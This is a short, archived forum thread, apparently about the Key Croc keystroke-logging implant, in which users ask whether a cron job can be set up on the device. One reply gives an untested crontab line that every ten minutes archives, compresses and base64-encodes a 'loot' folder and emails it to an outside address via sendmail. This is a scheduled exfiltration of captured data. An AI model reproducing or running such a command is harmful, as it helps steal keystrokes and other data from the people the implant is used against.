Jump to content

Since the Keycroc is a Linux box, Can we set up a Cron Job?


jimcola99

Recommended Posts

On 6/14/2020 at 12:22 PM, kdodge said:

does the key croc have sendmail installed?


$ crontab -e

*/10 * * * * echo -e "Subject:Loot\n" > sample_header.txt && tar cvf - /path/to/loot/folder/* | gzip -9 | base64 | cat sample_header.txt - | sendmail email@example.com && rm sample_header.txt

This is untested, you may need to fiddle with it.

Thanks man.

Having trouble with sendmail.  I probably haven't got something configured right.   

 

 

Link to comment
Share on other sites

  • 8 months later...

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...